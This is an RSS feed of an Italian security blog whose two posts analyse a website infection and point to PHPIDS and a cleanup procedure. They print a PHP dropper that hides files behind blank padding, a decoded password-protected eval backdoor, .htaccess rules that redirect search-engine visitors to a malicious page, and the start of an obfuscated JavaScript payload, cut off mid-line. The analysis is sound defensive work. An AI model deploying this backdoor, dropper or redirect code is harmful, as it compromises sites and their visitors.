<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$t</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;testdata_<span style="color: #006699; font-weight: bold;">$t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$R</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$CURFILE</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SCRIPT_NAME'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'start'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$fe</span> <span style="color: #339933;">=</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$fe</span><span style="color: #009900;">&#41;</span>
    <span style="color: #000088;">$fe</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'php'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$FN</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;namogofer.<span style="color: #006699; font-weight: bold;">$fe</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_s<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$FCNT</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'fn'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'dir'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'file'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'simtype'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_d<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span> <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'dir'</span> <span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_f<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'simtype'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_e<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$C</span><span style="color: #339933;">,</span><span style="color: #000088;">$FCNT</span><span style="color: #339933;">,</span><span style="color: #000088;">$FN</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$C</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>my_fwrite<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$d</span><span style="color: #006699; font-weight: bold;">$FN</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">150</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'+'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">150</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #000088;">$C</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
            <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'fn'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> r_cut<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$d</span><span style="color: #006699; font-weight: bold;">$FN</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            say<span style="color: #009900;">&#40;</span><span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span> 
&nbsp;
walkdir<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$R</span>/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'end'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;/pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
 ?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></div></div>

</div>
<p>la porzione encodata alla riga 97 una volta decodificata appare così:</p>
<div id="foo">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$t</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;testdata_<span style="color: #006699; font-weight: bold;">$t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'start'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;p&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;aace99428c50dbe965acc93f3f275cd3&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;tmp_name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;rb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;size&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
        testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'f'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'pass'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'end'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;/pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></div></div>

</div>
<p>Per proteggervi da tale hacking vi invito ad utilizzare script di Sicurezza quali <a href="http://php-ids.org/"><strong>PHPIDS</strong></a> di cui potete trovare una recensione a questo <a href="http://www.bleakants.com/2008/10/phpids-intrusion-detection-system/"><strong>link</strong></a>.</p>
<p>Per pulire i vostri file in seguito ad un eventuale attacco fate riferimento alla procedura indicata nella <a href="http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html"><strong>prima parte</strong></a> di questo articolo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.htaccess hacking &#8211; Redirect per chi arriva dai Motori di Ricerca &#8211; PARTE 1</title>
		<link>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html</link>
		<comments>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html#comments</comments>
		<pubDate>Sun, 12 Oct 2008 10:32:47 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[hacking htaccess]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[http referer]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[powergrep]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=100</guid>
		<description><![CDATA[In questi giorni, come dicevo nel precedente post, sto analizzando/studiando un tipo di hacking che consiste nel redirettare i visitatori che provengono da un Motore di Ricerca verso una pagina malevola contenente link a Trojan/Malware. Tale file &#8220;.htaccess&#8221; nella sua semplicità risulta essere furbo poiché ragiona in due modi: Se non è presente alcun &#8220;.htaccess&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>In questi giorni, come dicevo nel <a href="http://www.capn3m0.org/exploitfix-php-stats-0192-multiple-vulnerabilities-exploit.html">precedente post</a>, sto analizzando/studiando un tipo di hacking che consiste nel redirettare i visitatori che provengono da un Motore di Ricerca verso una pagina malevola contenente link a Trojan/Malware.</p>
<p>Tale file &#8220;<strong>.htaccess</strong>&#8221; nella sua semplicità risulta essere furbo poiché ragiona in due modi:</p>
<ol>
<li>Se non è presente alcun &#8220;.htaccess&#8221; ne crea uno all&#8217;insaputa dell&#8217;utente con il codice scritto dalla Riga 101 in poi così anche se viene aperto il file non viene visto il codice;</li>
<li>Se invece esiste già un file &#8220;.htaccess&#8221; provvedere ad aggiungere 101 righe vuote in coda e successivamente il codice senza modificare quanto già presente. Lo scopo è sempre quello di evitare che l&#8217;utente si accorga dell&#8217;infezione nel caso apra il file.<span id="more-100"></span></li>
</ol>
<p>Va inoltre fatto notare che, per come è strutturato risulta essere &#8220;furbo&#8221; anche perché l&#8217;hacking è visibile solo a chi proviene dai Motori di Ricerca e, quindi, a coloro che con molta probabilità non conoscono il sito (visto che lo cercano sui Motori). Il Webmaster che probabilmente digita l&#8217;indirizzo del proprio dominio invece di ricercarlo non si accorgerebbe del problema ma continuerebbe a vedere il proprio sito correttamente caricato e navigabile.</p>
<h1><strong>I Codici Utilizzati</strong><br />
</h1>
<p>Nel dettaglio il codice del file &#8220;.htaccess&#8221; che viene creato:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># a0b4df006e02184c60dbf503e71c87ad
</span>RewriteEngine On
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>HTTP_REFERER<span style="color: #009900;">&#125;</span> ^<span style="color: #009900;">&#91;</span>url<span style="color: #009900;">&#93;</span>http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//[/url]([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|</span>
alltheweb<span style="color: #339933;">|</span>f ireball<span style="color: #339933;">|</span>freenet<span style="color: #339933;">|</span>abacho<span style="color: #339933;">|</span>wanadoo<span style="color: #339933;">|</span>free<span style="color: #339933;">|</span>club<span style="color: #339933;">-</span>internet<span style="color: #339933;">|</span>aliceadsl<span style="color: #339933;">|</span>alice<span style="color: #339933;">|</span>skynet<span style="color: #339933;">|</span>terra<span style="color: #339933;">|</span>ya<span style="color: #339933;">|</span>orange<span style="color: #339933;">|</span>clix<span style="color: #339933;">|</span>terravista<span style="color: #339933;">|</span>gratis<span style="color: #339933;">-</span>ting<span style="color: #339933;">|</span>suomi24<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">.</span> <span style="color: #009900;">&#91;</span>NC<span style="color: #009900;">&#93;</span>
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>HTTP_REFERER<span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#91;</span>?<span style="color: #339933;">&amp;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>q<span style="color: #339933;">|</span>query<span style="color: #339933;">|</span>qs<span style="color: #339933;">|</span>searchfor<span style="color: #339933;">|</span>search_for<span style="color: #339933;">|</span>w<span style="color: #339933;">|</span>p<span style="color: #339933;">|</span>r<span style="color: #339933;">|</span>key<span style="color: #339933;">|</span>keywords<span style="color: #339933;">|</span>search_string<span style="color: #339933;">|</span>
search_word<span style="color: #339933;">|</span>buscar<span style="color: #339933;">|</span>text<span style="color: #339933;">|</span>words<span style="color: #339933;">|</span>su<span style="color: #339933;">|</span>q t<span style="color: #339933;">|</span>rdata<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">=</span>
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>HTTP_REFERER<span style="color: #009900;">&#125;</span> <span style="color: #339933;">!</span><span style="color: #009900;">&#91;</span>?<span style="color: #339933;">&amp;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>q<span style="color: #339933;">|</span>query<span style="color: #339933;">|</span>qs<span style="color: #339933;">|</span>searchfor<span style="color: #339933;">|</span>search_for<span style="color: #339933;">|</span>w<span style="color: #339933;">|</span>p<span style="color: #339933;">|</span>r<span style="color: #339933;">|</span>key<span style="color: #339933;">|</span>keywords<span style="color: #339933;">|</span>search_string<span style="color: #339933;">|</span>
search_word<span style="color: #339933;">|</span>buscar<span style="color: #339933;">|</span>text<span style="color: #339933;">|</span>words<span style="color: #339933;">|</span>su<span style="color: #339933;">|</span>q t<span style="color: #339933;">|</span>rdata<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">=</span><span style="color: #009900;">&#91;</span>^<span style="color: #339933;">&amp;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">%</span>3A<span style="color: #339933;">|%</span><span style="color:#800080;">22</span><span style="color: #009900;">&#41;</span>
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>TIME_SEC<span style="color: #009900;">&#125;</span> <span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">59</span>
RewriteRule ^<span style="color: #339933;">.*</span>$ <span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span>wysiwyg<span style="color: #339933;">/</span>rujez<span style="color: #339933;">/</span>uhe<span style="color: #339933;">/</span>ex3<span style="color: #339933;">/</span>t<span style="color: #339933;">.</span>htm <span style="color: #009900;">&#91;</span>L<span style="color: #009900;">&#93;</span>
<span style="color: #666666; font-style: italic;"># a995d2cc661fa72452472e9554b5520c</span></pre></td></tr></table></div>

<p>Tale codice indica che se il <strong>referrer</strong> (l&#8217;indirizzo di provenienza) del visitatore che richiama la pagina è uno dei Motori di Ricerca indicati rediretta il visitatore all&#8217;Url:</p>
<blockquote><p><strong>/admin/wysiwyg/rujez/uhe/ex3/t.htm</strong></p>
</blockquote>
<p>L&#8217;indirizzo dove viene posizionata la pagina &#8220;<strong>t.htm</strong>&#8221; varia sempre a seconda degli script e delle cartelle presenti nello spazio della vittima.</p>
<p>I Motori di Ricerca che vengono verificati sono i seguenti:</p>
<ul>
<li>Google</li>
<li>Msn</li>
<li>Yahoo</li>
<li>Live</li>
<li>Ask</li>
<li>DogPile</li>
<li>My Web Search</li>
<li>Yandex</li>
<li>Rambler</li>
<li>Aport</li>
<li>Mail</li>
<li>GoGo</li>
<li>Poisk</li>
<li>All The Web</li>
<li>FireBall</li>
<li>FreeNet</li>
<li>Abacho</li>
<li>Wanadoo</li>
<li>Free</li>
<li>Club-Internet</li>
<li>Alice Ads</li>
<li>Alice</li>
<li>Skynet</li>
<li>Terra</li>
<li>Ya</li>
<li>Orange</li>
<li>Clix</li>
<li>Terravista</li>
<li>Gratis-Ting</li>
<li>Suomi24</li>
</ul>
<p>La pagina a cui rimanda appare come un &#8220;clone&#8221; di Blogger dove vengono inseriti testi generati casualmente.</p>
<p>Eccone un esempio:</p>
<div id="attachment_101" class="wp-caption alignnone" style="width: 310px"><a href="http://www.capn3m0.org/wp-content/uploads/2008/10/htaccess.png" rel="lightbox[100]" title="HtaccessHacking"><img class="size-medium wp-image-101" title="HtaccessHacking" src="http://www.capn3m0.org/wp-content/uploads/2008/10/htaccess-300x183.png" alt=".htaccess hacking   Redirect per chi arriva dai Motori di Ricerca   PARTE 1" width="300" height="183" /></a><p class="wp-caption-text">Esempio di hacking via .htaccess (Pagina t.htm)</p></div>
<p>Oltre questo, una volta infettato un sito questo hacking provvede ad aggiungere in tutti i file &#8220;.<strong>css</strong>&#8221; e &#8220;<strong>.js</strong>&#8221; un codice incapsulato che provvede a ricreare costantemente il file &#8220;.htaccess&#8221; qualora venga eliminato.</p>
<p>Nei file <strong>Javascript (.js)</strong> viene inserito il seguente codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/* a0b4df006e02184c60dbf503e71c87ad */</span>
 <span style="color: #339933;">;</span>eval<span style="color: #009900;">&#40;</span>unescape<span style="color: #009900;">&#40;</span>’<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">21</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">49</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>7B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">31</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">35</span><span style="color: #339933;">%</span><span style="color:#800080;">39</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">34</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">38</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">33</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: 